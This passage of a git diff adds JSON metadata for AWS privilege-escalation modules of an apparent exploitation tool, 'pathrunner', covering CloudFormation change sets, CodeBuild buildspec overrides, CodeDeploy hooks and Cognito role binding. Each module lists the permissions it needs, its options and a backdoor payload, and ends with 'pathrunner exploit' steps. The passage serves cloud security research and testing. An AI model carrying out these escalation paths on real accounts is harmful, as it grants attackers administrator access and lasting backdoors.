@@ -0,0 +1,165 @@
+{
+  "id": "cloudformation-005",
+  "name": "cloudformation:CreateChangeSet + cloudformation:ExecuteChangeSet",
+  "description": "A principal with cloudformation:CreateChangeSet and cloudformation:ExecuteChangeSet can inherit administrative privileges from an existing CloudFormation stack's service role. Unlike direct stack updates, change set execution bypasses traditional IAM permission checks by delegating all operations to the stack's attached service role. If that service role has administrative privileges, an attacker can inject malicious infrastructure changes (such as creating a new admin IAM role with a trust policy allowing the attacker to assume it) through the change set mechanism without needing those elevated IAM permissions directly.",
+  "category": "new-passrole",
+  "services": [
+    "cloudformation",
+    "iam"
+  ],
+  "primaryService": "cloudformation",
+  "aliases": [
+    "cloudformation-createchangeset-executechangeset",
+    "cfn-005",
+    "exploit/cloudformation_createchangeset_executechangeset"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/cloudformation-005",
+  "permissions": {
+    "required": [
+      {
+        "permission": "cloudformation:CreateChangeSet",
+        "description": "Create a change set on the target stack"
+      },
+      {
+        "permission": "cloudformation:ExecuteChangeSet",
+        "description": "Execute the change set to apply the template changes"
+      }
+    ],
+    "additional": [
+      {
+        "permission": "cloudformation:DescribeChangeSet",
+        "description": "View change set details and confirm creation"
+      },
+      {
+        "permission": "cloudformation:DescribeStacks",
+        "description": "Discover existing stacks and poll for completion"
+      },
+      {
+        "permission": "cloudformation:GetTemplate",
+        "description": "Retrieve the current stack template for safe injection"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "An existing CloudFormation stack must exist with a service role attached",
+      "The stack's service role must have administrative permissions (e.g., AdministratorAccess)"
+    ],
+    "lateral": [
+      "An existing CloudFormation stack must exist with a service role attached",
+      "The stack's service role must have elevated permissions"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - cloudformation-005",
+      "url": "https://pathfinding.cloud/paths/cloudformation-005"
+    },
+    {
+      "title": "CloudFormation Change Set Privilege Escalation - Lucian Patian",
+      "url": "https://dev.to/aws-builders/cloudformation-change-set-privilege-escalation-18i6"
+    },
+    {
+      "title": "PMapper CloudFormation Edge Detection",
+      "url": "https://github.com/nccgroup/PMapper/blob/master/principalmapper/graphing/cloudformation_edges.py"
+    },
+    {
+      "title": "AWS CloudFormation Privilege Escalation - HackTricks",
+      "url": "https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc"
+    }
+  ],
+  "relatedPaths": [
+    "cloudformation-001",
+    "cloudformation-002",
+    "cloudformation-003",
+    "cloudformation-004"
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation"
+    ],
+    "techniques": [
+      "T1098.003 - Account Manipulation: Additional Cloud Roles"
+    ]
+  },
+  "options": [
+    {
+      "name": "STACK_NAME",
+      "description": "Name of the existing CloudFormation stack with an admin service role",
+      "required": true,
+      "mockValue": "target-cloudformation-stack"
+    },
+    {
+      "name": "CHANGESET_NAME",
+      "description": "Name for the change set to create",
+      "required": false,
+      "mockValue": "target-resource-name"
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region for CloudFormation and IAM operations",
+      "required": false,
+      "default": "us-east-1"
+    },
+    {
+      "name": "ASSUME_ROLE",
+      "description": "Attempt to assume the escalated role after the change set completes",
+      "required": false,
+      "default": "true"
+    },
+    {
+      "name": "PAYLOAD",
+      "description": "Payload type for the CloudFormation template injection (backdoor/attach-policy)",
+      "required": false,
+      "default": "backdoor/attach-policy"
+    },
+    {
+      "name": "ESCALATED_ROLE_NAME",
+      "description": "Name for the escalated IAM role to create (auto-generated if empty)",
+      "required": false,
+      "mockValue": "target-resource-name"
+    },
+    {
+      "name": "TRUST_PRINCIPAL",
+      "description": "ARN to trust in the escalated role's trust policy (defaults to caller ARN)",
+      "required": false,
+      "mockValue": "arn:aws:iam::123456789012:root"
+    },
+    {
+      "name": "CLEANUP",
+      "description": "Revert the stack change set after execution. Requires CloudFormation write permissions on the stack",
+      "required": false,
+      "default": "false"
+    }
+  ],
+  "payloads": [
+    {
+      "name": "backdoor/attach-policy",
+      "description": "Create an IAM role with AdministratorAccess trusted by the attacker's principal via CloudFormation template",
+      "slug": "cloudformation-backdoor-attach-policy",
+      "qualifiedName": "cloudformation:backdoor/attach-policy",
+      "service": "cloudformation",
+      "tags": [
+        "cloudformation",
+        "json",
+        "backdoor"
+      ]
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use cloudformation-005",
+    "pathrunner show payloads",
+    "pathrunner set PAYLOAD backdoor/attach-policy",
+    "pathrunner set STACK_NAME target-cloudformation-stack",
+    "pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner exploit"
+  ],
+  "labSlug": "cloudformation-005",
+  "gifs": [
+    {
+      "name": "cloudformation-005",
+      "ext": "webm"
+    }
+  ]
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/codebuild-001.json b/docs/pathrunner/data/modules/codebuild-001.json
new file mode 100644
index 00000000..7666dece
--- /dev/null
+++ b/docs/pathrunner/data/modules/codebuild-001.json
@@ -0,0 +1,144 @@
+{
+  "id": "codebuild-001",
+  "name": "iam:PassRole + codebuild:CreateProject + codebuild:StartBuild",
+  "description": "Create a CodeBuild project with a privileged role and execute an inline buildspec to run code with the role's permissions. The buildspec runs with full access to the service role credentials, allowing privilege escalation by attaching policies to IAM principals.",
+  "category": "new-passrole",
+  "services": [
+    "iam",
+    "codebuild"
+  ],
+  "primaryService": "codebuild",
+  "aliases": [
+    "codebuild-passrole",
+    "exploit/codebuild_passrole"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/codebuild-001",
+  "permissions": {
+    "required": [
+      {
+        "permission": "iam:PassRole",
+        "description": "Target role ARN must trust codebuild.amazonaws.com"
+      },
+      {
+        "permission": "codebuild:CreateProject"
+      },
+      {
+        "permission": "codebuild:StartBuild"
+      }
+    ],
+    "additional": [
+      {
+        "permission": "iam:ListRoles",
+        "description": "Discover roles trusting CodeBuild for auto-discovery"
+      },
+      {
+        "permission": "codebuild:BatchGetBuilds",
+        "description": "Poll build completion status"
+      },
+      {
+        "permission": "codebuild:DeleteProject",
+        "description": "Clean up created project (gained after escalation)"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "IAM role with desired permissions and trust policy allowing codebuild.amazonaws.com",
+      "The role must trust codebuild.amazonaws.com as a service principal"
+    ],
+    "lateral": [
+      "Principal with iam:PassRole, codebuild:CreateProject, codebuild:StartBuild"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - codebuild-001",
+      "url": "https://pathfinding.cloud/paths/codebuild-001"
+    },
+    {
+      "title": "HackTricks - AWS CodeBuild Privesc",
+      "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/index.html"
+    },
+    {
+      "title": "PMapper - CodeBuild Edges",
+      "url": "https://github.com/nccgroup/PMapper/blob/91d2e60102bdadf346d77b60d90ddaa4a678f037/principalmapper/graphing/codebuild_edges.py#L216"
+    }
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation",
+      "TA0002 - Execution"
+    ],
+    "techniques": [
+      "T1078.004 - Valid Accounts: Cloud Accounts",
+      "T1651 - Cloud Administration Command"
+    ]
+  },
+  "options": [
+    {
+      "name": "ROLE_ARN",
+      "description": "Target IAM role ARN to pass to the CodeBuild project (must trust codebuild.amazonaws.com)",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetRoleName"
+    },
+    {
+      "name": "PAYLOAD",
+      "description": "Payload type (backdoor/attach-policy)",
+      "required": true
+    },
+    {
+      "name": "TARGET_ARN",
+      "description": "IAM user or role name/ARN to attach AdministratorAccess to (auto-resolved from caller identity if not set)",
+      "required": false,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetRoleName"
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region for CodeBuild project deployment",
+      "required": false,
+      "default": "us-east-1"
+    },
+    {
+      "name": "PROJECT_NAME",
+      "description": "Name of the CodeBuild project to create",
+      "required": false,
+      "mockValue": "target-codebuild-project"
+    },
+    {
+      "name": "CLEANUP",
+      "description": "Delete the CodeBuild project after execution (uses escalated privileges gained by the payload)",
+      "required": false,
+      "default": "true"
+    }
+  ],
+  "payloads": [
+    {
+      "name": "backdoor/attach-policy",
+      "description": "Attach AdministratorAccess (or any managed policy) to an IAM user or role via CodeBuild buildspec",
+      "slug": "codebuild-backdoor-attach-policy",
+      "qualifiedName": "codebuild:backdoor/attach-policy",
+      "service": "codebuild",
+      "tags": [
+        "codebuild",
+        "bash",
+        "backdoor"
+      ]
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use codebuild-001",
+    "pathrunner show payloads",
+    "pathrunner set PAYLOAD backdoor/attach-policy",
+    "pathrunner set ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner exploit"
+  ],
+  "labSlug": "codebuild-001",
+  "gifs": [
+    {
+      "name": "codebuild-001",
+      "ext": "webm"
+    }
+  ]
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/codebuild-002.json b/docs/pathrunner/data/modules/codebuild-002.json
new file mode 100644
index 00000000..fba57e9f
--- /dev/null
+++ b/docs/pathrunner/data/modules/codebuild-002.json
@@ -0,0 +1,140 @@
+{
+  "id": "codebuild-002",
+  "name": "codebuild:StartBuild (buildspec-override)",
+  "description": "Start a build on an existing CodeBuild project using --buildspec-override to inject malicious commands that execute with the project's privileged service role. Does not require iam:PassRole or codebuild:CreateProject.",
+  "category": "existing-passrole",
+  "services": [
+    "codebuild",
+    "iam"
+  ],
+  "primaryService": "codebuild",
+  "aliases": [
+    "codebuild-startbuild",
+    "exploit/codebuild_startbuild"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/codebuild-002",
+  "permissions": {
+    "required": [
+      {
+        "permission": "codebuild:StartBuild",
+        "description": "Must have permission to start builds on the target CodeBuild project"
+      }
+    ],
+    "additional": [
+      {
+        "permission": "codebuild:ListProjects",
+        "description": "Helpful for discovering existing CodeBuild projects with privileged roles"
+      },
+      {
+        "permission": "codebuild:BatchGetProjects",
+        "description": "Useful for viewing project details including service role ARN"
+      },
+      {
+        "permission": "codebuild:BatchGetBuilds",
+        "description": "Helpful for monitoring build execution status and verifying success"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "A CodeBuild project must already exist in the account",
+      "The existing project must have a service role with administrative permissions",
+      "The project must allow buildspec overrides (default behavior unless explicitly disabled)"
+    ],
+    "lateral": [
+      "A CodeBuild project must already exist in the account",
+      "The existing project must have a service role with any level of permissions",
+      "The project must allow buildspec overrides (default behavior unless explicitly disabled)"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - codebuild-002",
+      "url": "https://pathfinding.cloud/paths/codebuild-002"
+    },
+    {
+      "title": "HackTricks - AWS CodeBuild Privesc",
+      "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/index.html"
+    },
+    {
+      "title": "PMapper CodeBuild Edges",
+      "url": "https://github.com/nccgroup/PMapper/blob/91d2e60102bdadf346d77b60d90ddaa4a678f037/principalmapper/graphing/codebuild_edges.py#L165-L173"
+    }
+  ],
+  "relatedPaths": [
+    "codebuild-001",
+    "iam-001",
+    "iam-002"
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation",
+      "TA0002 - Execution"
+    ],
+    "techniques": [
+      "T1078.004 - Valid Accounts: Cloud Accounts",
+      "T1651 - Cloud Administration Command"
+    ]
+  },
+  "options": [
+    {
+      "name": "PROJECT_NAME",
+      "description": "Name of the existing CodeBuild project to exploit",
+      "required": true,
+      "mockValue": "target-codebuild-project"
+    },
+    {
+      "name": "PAYLOAD",
+      "description": "Payload type (backdoor/attach-policy)",
+      "required": true
+    },
+    {
+      "name": "TARGET_ARN",
+      "description": "IAM user or role name/ARN to attach AdministratorAccess to (auto-resolved from caller identity if not set)",
+      "required": false,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetRoleName"
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region",
+      "required": false,
+      "default": "us-east-1"
+    },
+    {
+      "name": "CLEANUP",
+      "description": "Clean up tracked side effects after execution (the payload's IAM change is the goal; default false)",
+      "required": false,
+      "default": "false"
+    }
+  ],
+  "payloads": [
+    {
+      "name": "backdoor/attach-policy",
+      "description": "Attach AdministratorAccess (or any managed policy) to an IAM user or role via CodeBuild buildspec",
+      "slug": "codebuild-backdoor-attach-policy",
+      "qualifiedName": "codebuild:backdoor/attach-policy",
+      "service": "codebuild",
+      "tags": [
+        "codebuild",
+        "bash",
+        "backdoor"
+      ]
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use codebuild-002",
+    "pathrunner show payloads",
+    "pathrunner set PAYLOAD backdoor/attach-policy",
+    "pathrunner set PROJECT_NAME target-codebuild-project",
+    "pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner exploit"
+  ],
+  "labSlug": "codebuild-002",
+  "gifs": [
+    {
+      "name": "codebuild-002",
+      "ext": "webm"
+    }
+  ]
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/codebuild-003.json b/docs/pathrunner/data/modules/codebuild-003.json
new file mode 100644
index 00000000..aca21c27
--- /dev/null
+++ b/docs/pathrunner/data/modules/codebuild-003.json
@@ -0,0 +1,141 @@
+{
+  "id": "codebuild-003",
+  "name": "codebuild:StartBuildBatch (buildspec-override)",
+  "description": "Start a batch build on an existing CodeBuild project using --buildspec-override to inject malicious commands that execute with the project's privileged service role. Similar to codebuild:StartBuild but uses the batch build API \u2014 does not require iam:PassRole or codebuild:CreateProject.",
+  "category": "existing-passrole",
+  "services": [
+    "codebuild",
+    "iam"
+  ],
+  "primaryService": "codebuild",
+  "aliases": [
+    "codebuild-startbuildbatch",
+    "exploit/codebuild_startbuildbatch"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/codebuild-003",
+  "permissions": {
+    "required": [
+      {
+        "permission": "codebuild:StartBuildBatch",
+        "description": "Must have permission to start build batches on the target CodeBuild project"
+      }
+    ],
+    "additional": [
+      {
+        "permission": "codebuild:ListProjects",
+        "description": "Helpful for discovering existing CodeBuild projects with privileged roles"
+      },
+      {
+        "permission": "codebuild:BatchGetProjects",
+        "description": "Useful for viewing project details including service role ARN"
+      },
+      {
+        "permission": "codebuild:BatchGetBuildBatches",
+        "description": "Helpful for monitoring build batch execution status and verifying success"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "A CodeBuild project must already exist in the account configured for batch builds",
+      "The existing project must have a service role with administrative permissions",
+      "The project must allow buildspec overrides (default behavior unless explicitly disabled)"
+    ],
+    "lateral": [
+      "A CodeBuild project must already exist in the account configured for batch builds",
+      "The existing project must have a service role with any level of permissions",
+      "The project must allow buildspec overrides (default behavior unless explicitly disabled)"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - codebuild-003",
+      "url": "https://pathfinding.cloud/paths/codebuild-003"
+    },
+    {
+      "title": "HackTricks - AWS CodeBuild Privesc",
+      "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/index.html#codebuildstartbuild--codebuildstartbuildbatch"
+    },
+    {
+      "title": "PMapper CodeBuild Edges",
+      "url": "https://github.com/nccgroup/PMapper/blob/91d2e60102bdadf346d77b60d90ddaa4a678f037/principalmapper/graphing/codebuild_edges.py#L186"
+    }
+  ],
+  "relatedPaths": [
+    "codebuild-001",
+    "codebuild-002",
+    "iam-001",
+    "iam-002"
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation",
+      "TA0002 - Execution"
+    ],
+    "techniques": [
+      "T1078.004 - Valid Accounts: Cloud Accounts",
+      "T1651 - Cloud Administration Command"
+    ]
+  },
+  "options": [
+    {
+      "name": "PROJECT_NAME",
+      "description": "Name of the existing CodeBuild project to exploit (must be configured for batch builds)",
+      "required": true,
+      "mockValue": "target-codebuild-project"
+    },
+    {
+      "name": "PAYLOAD",
+      "description": "Payload type (backdoor/attach-policy)",
+      "required": true
+    },
+    {
+      "name": "TARGET_ARN",
+      "description": "IAM user or role name/ARN to attach AdministratorAccess to (auto-resolved from caller identity if not set)",
+      "required": false,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetRoleName"
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region",
+      "required": false,
+      "default": "us-east-1"
+    },
+    {
+      "name": "CLEANUP",
+      "description": "Clean up tracked side effects after execution (the payload's IAM change is the goal; default false)",
+      "required": false,
+      "default": "false"
+    }
+  ],
+  "payloads": [
+    {
+      "name": "backdoor/attach-policy",
+      "description": "Attach AdministratorAccess (or any managed policy) to an IAM user or role via CodeBuild buildspec",
+      "slug": "codebuild-backdoor-attach-policy",
+      "qualifiedName": "codebuild:backdoor/attach-policy",
+      "service": "codebuild",
+      "tags": [
+        "codebuild",
+        "bash",
+        "backdoor"
+      ]
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use codebuild-003",
+    "pathrunner show payloads",
+    "pathrunner set PAYLOAD backdoor/attach-policy",
+    "pathrunner set PROJECT_NAME target-codebuild-project",
+    "pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner exploit"
+  ],
+  "labSlug": "codebuild-003",
+  "gifs": [
+    {
+      "name": "codebuild-003",
+      "ext": "webm"
+    }
+  ]
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/codebuild-004.json b/docs/pathrunner/data/modules/codebuild-004.json
new file mode 100644
index 00000000..87457983
--- /dev/null
+++ b/docs/pathrunner/data/modules/codebuild-004.json
@@ -0,0 +1,147 @@
+{
+  "id": "codebuild-004",
+  "name": "iam:PassRole + codebuild:CreateProject + codebuild:StartBuildBatch",
+  "description": "Create a CodeBuild project configured for batch builds with a privileged role, then start a build batch to execute malicious buildspec commands with that role's permissions. This variation uses codebuild:StartBuildBatch instead of codebuild:StartBuild.",
+  "category": "new-passrole",
+  "services": [
+    "iam",
+    "codebuild"
+  ],
+  "primaryService": "codebuild",
+  "aliases": [
+    "codebuild-passrole-startbuildbatch",
+    "exploit/codebuild_passrole_startbuildbatch"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/codebuild-004",
+  "permissions": {
+    "required": [
+      {
+        "permission": "iam:PassRole",
+        "description": "Target role ARN must trust codebuild.amazonaws.com"
+      },
+      {
+        "permission": "codebuild:CreateProject"
+      },
+      {
+        "permission": "codebuild:StartBuildBatch"
+      }
+    ],
+    "additional": [
+      {
+        "permission": "iam:ListRoles",
+        "description": "Discover roles trusting CodeBuild for auto-discovery"
+      },
+      {
+        "permission": "codebuild:BatchGetBuildBatches",
+        "description": "Poll build batch completion status"
+      },
+      {
+        "permission": "codebuild:DeleteProject",
+        "description": "Clean up created project (gained after escalation)"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "IAM role with administrative permissions and trust policy allowing codebuild.amazonaws.com"
+    ],
+    "lateral": [
+      "IAM role with any permissions and trust policy allowing codebuild.amazonaws.com"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - codebuild-004",
+      "url": "https://pathfinding.cloud/paths/codebuild-004"
+    },
+    {
+      "title": "HackTricks - AWS CodeBuild Privesc (StartBuildBatch)",
+      "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/index.html#codebuildstartbuild--codebuildstartbuildbatch"
+    },
+    {
+      "title": "PMapper - CodeBuild Edges",
+      "url": "https://github.com/nccgroup/PMapper/blob/91d2e60102bdadf346d77b60d90ddaa4a678f037/principalmapper/graphing/codebuild_edges.py#L186"
+    }
+  ],
+  "relatedPaths": [
+    "codebuild-001",
+    "codebuild-003"
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation",
+      "TA0002 - Execution"
+    ],
+    "techniques": [
+      "T1078.004 - Valid Accounts: Cloud Accounts",
+      "T1651 - Cloud Administration Command"
+    ]
+  },
+  "options": [
+    {
+      "name": "ROLE_ARN",
+      "description": "Target IAM role ARN to pass to the CodeBuild project (must trust codebuild.amazonaws.com) [auto]",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetRoleName"
+    },
+    {
+      "name": "PAYLOAD",
+      "description": "Payload type (backdoor/attach-policy)",
+      "required": true
+    },
+    {
+      "name": "TARGET_ARN",
+      "description": "IAM user or role name/ARN to attach AdministratorAccess to (auto-resolved from caller identity if not set)",
+      "required": false,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetRoleName"
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region for CodeBuild project deployment",
+      "required": false,
+      "default": "us-east-1"
+    },
+    {
+      "name": "PROJECT_NAME",
+      "description": "Name of the CodeBuild project to create",
+      "required": false,
+      "mockValue": "target-codebuild-project"
+    },
+    {
+      "name": "CLEANUP",
+      "description": "Delete the CodeBuild project after execution (uses escalated privileges gained by the payload)",
+      "required": false,
+      "default": "true"
+    }
+  ],
+  "payloads": [
+    {
+      "name": "backdoor/attach-policy",
+      "description": "Attach AdministratorAccess (or any managed policy) to an IAM user or role via CodeBuild buildspec",
+      "slug": "codebuild-backdoor-attach-policy",
+      "qualifiedName": "codebuild:backdoor/attach-policy",
+      "service": "codebuild",
+      "tags": [
+        "codebuild",
+        "bash",
+        "backdoor"
+      ]
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use codebuild-004",
+    "pathrunner show payloads",
+    "pathrunner set PAYLOAD backdoor/attach-policy",
+    "pathrunner set ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner exploit"
+  ],
+  "labSlug": "codebuild-004",
+  "gifs": [
+    {
+      "name": "codebuild-004",
+      "ext": "webm"
+    }
+  ]
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/codedeploy-001.json b/docs/pathrunner/data/modules/codedeploy-001.json
new file mode 100644
index 00000000..f415253c
--- /dev/null
+++ b/docs/pathrunner/data/modules/codedeploy-001.json
@@ -0,0 +1,159 @@
+{
+  "id": "codedeploy-001",
+  "name": "codedeploy:CreateDeployment",
+  "description": "A principal with codedeploy:CreateDeployment and codedeploy:RegisterApplicationRevision can escalate privileges by deploying a malicious revision to an existing CodeDeploy deployment group that targets EC2 instances already configured with an admin IAM instance profile. The revision's BeforeInstall lifecycle hook runs a shell script on the target EC2 instance; because the instance already has the admin instance profile attached, the script runs with admin credentials and calls iam:AttachUserPolicy to attach AdministratorAccess to the starting user. No iam:PassRole is required \u2014 the privileged instance profile was already assigned to the existing EC2 instance.",
+  "category": "existing-passrole",
+  "services": [
+    "iam",
+    "codedeploy",
+    "ec2"
+  ],
+  "primaryService": "codedeploy",
+  "aliases": [
+    "codedeploy-createdeployment",
+    "exploit/codedeploy_createdeployment"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/codedeploy-001",
+  "permissions": {
+    "required": [
+      {
+        "permission": "codedeploy:CreateDeployment",
+        "description": "Must have access to the target CodeDeploy application and deployment group"
+      },
+      {
+        "permission": "codedeploy:RegisterApplicationRevision",
+        "description": "Must be able to register a new revision in the target S3 bucket"
+      },
+      {
+        "permission": "codedeploy:GetDeploymentConfig",
+        "description": "Required to resolve the deployment configuration when creating a deployment"
+      }
+    ],
+    "additional": [
+      {
+        "permission": "codedeploy:GetDeployment",
+        "description": "Useful for monitoring deployment status to know when lifecycle hooks have executed"
+      },
+      {
+        "permission": "codedeploy:ListDeployments",
+        "description": "Helpful for discovering existing deployments"
+      },
+      {
+        "permission": "codedeploy:GetDeploymentGroup",
+        "description": "Useful for viewing deployment group configuration and target EC2 instances"
+      },
+      {
+        "permission": "codedeploy:GetApplication",
+        "description": "Useful for verifying application configuration"
+      },
+      {
+        "permission": "codedeploy:ListDeploymentInstances",
+        "description": "Useful for tracking deployment progress across instances"
+      },
+      {
+        "permission": "codedeploy:GetDeploymentInstance",
+        "description": "Useful for viewing per-instance deployment lifecycle hook output"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "An existing CodeDeploy deployment group must be configured to target EC2 instances",
+      "The target EC2 instances must already have an admin IAM instance profile attached",
+      "The CodeDeploy agent must be installed and running on the target instances",
+      "An S3 bucket must be accessible to the EC2 instance to read the malicious revision"
+    ],
+    "lateral": [
+      "An existing CodeDeploy deployment group must target EC2 instances with an elevated IAM instance profile",
+      "The CodeDeploy agent must be running on the target instances"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - codedeploy-001",
+      "url": "https://pathfinding.cloud/paths/codedeploy-001"
+    },
+    {
+      "title": "Actions defined by AWS CodeDeploy - Service Authorization Reference",
+      "url": "https://docs.aws.amazon.com/service-authorization/latest/reference/list_awscodedeploy.html"
+    },
+    {
+      "title": "CodeDeploy permissions reference - AWS CodeDeploy",
+      "url": "https://docs.aws.amazon.com/codedeploy/latest/userguide/auth-and-access-control-permissions-reference.html"
+    }
+  ],
+  "relatedPaths": [
+    "codebuild-002",
+    "batch-002"
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation",
+      "TA0002 - Execution"
+    ],
+    "techniques": [
+      "T1072 - Software Deployment Tools",
+      "T1078.004 - Valid Accounts: Cloud Accounts"
+    ]
+  },
+  "options": [
+    {
+      "name": "APP_NAME",
+      "description": "Name of the existing CodeDeploy application to target",
+      "required": true,
+      "mockValue": "target-app"
+    },
+    {
+      "name": "DEPLOYMENT_GROUP",
+      "description": "Name of the existing CodeDeploy deployment group to target",
+      "required": true,
+      "mockValue": "target-deployment-group"
+    },
+    {
+      "name": "BUCKET",
+      "description": "S3 bucket containing the pre-staged malicious revision ZIP",
+      "required": true,
+      "mockValue": "target-s3-bucket-123456789012"
+    },
+    {
+      "name": "REVISION_KEY",
+      "description": "S3 object key of the malicious revision ZIP (appspec.yml + lifecycle hook script)",
+      "required": false,
+      "default": "codedeploy-001-revision.zip"
+    },
+    {
+      "name": "TARGET_ARN",
+      "description": "IAM user or role name/ARN to attach AdministratorAccess to (auto-resolved from caller identity if not set)",
+      "required": false,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetRoleName"
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region for CodeDeploy and IAM operations",
+      "required": false,
+      "default": "us-east-1"
+    },
+    {
+      "name": "CLEANUP",
+      "description": "Detach AdministratorAccess from TARGET_ARN after confirming escalation. Requires iam:DetachUserPolicy permission. The policy attachment is the goal of this exploit \u2014 set false to keep access after the module runs.",
+      "required": false,
+      "default": "false"
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use codedeploy-001",
+    "pathrunner set APP_NAME target-app",
+    "pathrunner set DEPLOYMENT_GROUP target-deployment-group",
+    "pathrunner set BUCKET target-s3-bucket-123456789012",
+    "pathrunner exploit"
+  ],
+  "labSlug": "codedeploy-001",
+  "gifs": [
+    {
+      "name": "codedeploy-001",
+      "ext": "webm"
+    }
+  ],
+  "payloads": []
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/cognitoidentity-001.json b/docs/pathrunner/data/modules/cognitoidentity-001.json
new file mode 100644
index 00000000..ca8d17d7
--- /dev/null
+++ b/docs/pathrunner/data/modules/cognitoidentity-001.json
@@ -0,0 +1,141 @@
+{
+  "id": "cognitoidentity-001",
+  "name": "iam:PassRole + cognito-identity:SetIdentityPoolRoles",
+  "description": "A principal with iam:PassRole and cognito-identity:SetIdentityPoolRoles can bind an admin IAM role to an existing Cognito Identity Pool's unauthenticated identity slot. Once bound, any caller \u2014 including the attacker \u2014 can obtain temporary admin credentials via the public Cognito STS endpoint (GetId + GetOpenIdToken + AssumeRoleWithWebIdentity) without any IAM credentials. No separate execution environment is required.",
+  "category": "new-passrole",
+  "services": [
+    "iam",
+    "cognitoidentity"
+  ],
+  "primaryService": "cognitoidentity",
+  "aliases": [
+    "cognitoidentity-passrole",
+    "exploit/cognitoidentity_passrole"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/cognitoidentity-001",
+  "permissions": {
+    "required": [
+      {
+        "permission": "iam:PassRole",
+        "description": "Must be able to pass the target admin role to cognito-identity.amazonaws.com"
+      },
+      {
+        "permission": "cognito-identity:SetIdentityPoolRoles",
+        "description": "Must have access to the target identity pool ID"
+      }
+    ],
+    "additional": [
+      {
+        "permission": "cognito-identity:ListIdentityPools",
+        "description": "Discover existing identity pools to target"
+      },
+      {
+        "permission": "cognito-identity:DescribeIdentityPool",
+        "description": "View pool configuration and current role assignments"
+      },
+      {
+        "permission": "cognito-identity:GetIdentityPoolRoles",
+        "description": "Verify current role assignments before and after exploitation"
+      },
+      {
+        "permission": "iam:ListRoles",
+        "description": "Discover available roles to pass"
+      },
+      {
+        "permission": "iam:GetRole",
+        "description": "Inspect role trust policies to find roles trusting cognito-identity.amazonaws.com"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "An existing Cognito Identity Pool with unauthenticated access enabled (AllowUnauthenticatedIdentities=true)",
+      "An IAM role that trusts cognito-identity.amazonaws.com and has administrative permissions"
+    ],
+    "lateral": [
+      "An existing Cognito Identity Pool with unauthenticated access enabled",
+      "An IAM role that trusts cognito-identity.amazonaws.com with elevated permissions"
+    ]
